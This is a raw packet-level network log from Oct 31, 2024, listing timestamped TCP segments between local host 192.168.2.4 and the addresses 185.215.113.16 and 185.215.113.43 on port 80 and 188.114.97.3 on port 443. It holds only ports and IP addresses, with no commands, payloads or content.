Oct 31, 2024 20:52:11.785434961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785444975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785455942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785479069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785495043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785594940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785629988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785633087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785640001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785650969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785670996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785697937 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785742998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785752058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785767078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785785913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785799026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785809994 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785834074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785859108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785870075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785892963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785901070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785909891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785913944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785933971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785936117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785945892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785953999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785964966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785985947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786031961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786041975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786052942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786065102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786075115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786076069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786093950 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786114931 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786147118 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786156893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786185026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786288023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786314011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786329985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786353111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786429882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786439896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786452055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786473036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786497116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786523104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786533117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786544085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786556005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786561966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786566019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786577940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786612034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786636114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786647081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786658049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786669016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786676884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786681890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786703110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786712885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786722898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786747932 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786748886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786760092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786772013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786791086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786828041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786856890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786869049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786880016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786890030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786914110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.786984921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.786994934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787005901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787036896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787045002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787163019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787175894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787187099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787199020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787204027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787209034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787220001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787225962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787245989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787267923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787430048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787441015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787453890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787476063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787503004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787528992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787539959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787552118 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.787565947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.787581921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.827517986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.827533960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.827544928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.827609062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.827642918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953511953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953535080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953550100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953562021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953574896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953586102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953603983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953603029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953643084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953676939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953685999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953690052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953701019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953707933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953711987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953725100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953726053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953747988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953773975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953777075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953788996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953799009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953809977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953814983 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953820944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953835011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953835964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953856945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953887939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953918934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953928947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953938961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953950882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953955889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.953963041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953974009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.953979015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954029083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954052925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954065084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954076052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954087019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954096079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954097033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954108953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954122066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954125881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954133034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954144001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954154968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954155922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954166889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954179049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954200983 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954349041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954360008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954371929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954387903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954400063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954400063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954415083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954430103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954441071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954447985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954451084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954462051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954473019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954473972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954487085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954498053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954498053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954511881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954518080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954521894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954524994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954529047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954535007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954540014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954545975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954552889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954579115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954668999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954680920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954693079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954704046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954714060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954725981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954736948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954737902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954747915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954758883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954770088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954771996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954781055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954787970 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954819918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954910040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954926968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954936028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954946041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954957008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954961061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954967976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954978943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.954978943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.954989910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955001116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955005884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955012083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955027103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955027103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955039024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955048084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955049992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955058098 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955060959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955070972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955085993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955112934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955137968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955148935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955158949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955171108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955179930 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955182076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955193996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.955197096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.955234051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.994079113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.994092941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.994103909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.994254112 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.116009951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.116025925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.116038084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.116079092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.116122961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117228985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117247105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117254019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117280960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117292881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117294073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117306948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117319107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117332935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117357969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117433071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117445946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117456913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:12.117470980 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:12.117503881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:13.680677891 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:13.680702925 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:13.680865049 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:13.684175968 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:13.684190035 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:14.318340063 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:14.321017981 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:14.326997042 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:14.327013969 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:14.327404976 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:14.372745037 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:14.484829903 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:14.485177994 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:14.490082026 CET	80	49733	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:14.490144968 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:14.490206003 CET	80	49737	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:14.490268946 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:14.532011986 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:14.536077976 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:14.536098003 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:14.536364079 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:14.536865950 CET	80	49737	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:15.031647921 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.031881094 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.031941891 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.033590078 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.033602953 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.033628941 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.033634901 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.115427017 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.115456104 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.115536928 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.116208076 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.116220951 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.416388988 CET	80	49737	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:15.417181015 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:15.419078112 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:15.419456959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:15.424462080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:15.424531937 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:15.424633980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:15.425081015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:15.425436020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:15.430574894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:15.739155054 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.739249945 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.740679026 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.740689993 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.741013050 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:15.742408037 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.742456913 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:15.742484093 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260356903 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260462046 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260505915 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260548115 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260591984 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260596037 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.260618925 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.260648012 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.260665894 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.260670900 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.261215925 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.262897968 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.262902975 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.310381889 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.310389042 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.357253075 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.370037079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370074034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370086908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370213985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370224953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370245934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370263100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370282888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370294094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370311975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.370338917 CET	49740	80	192.168.2.4	185.215.113.16
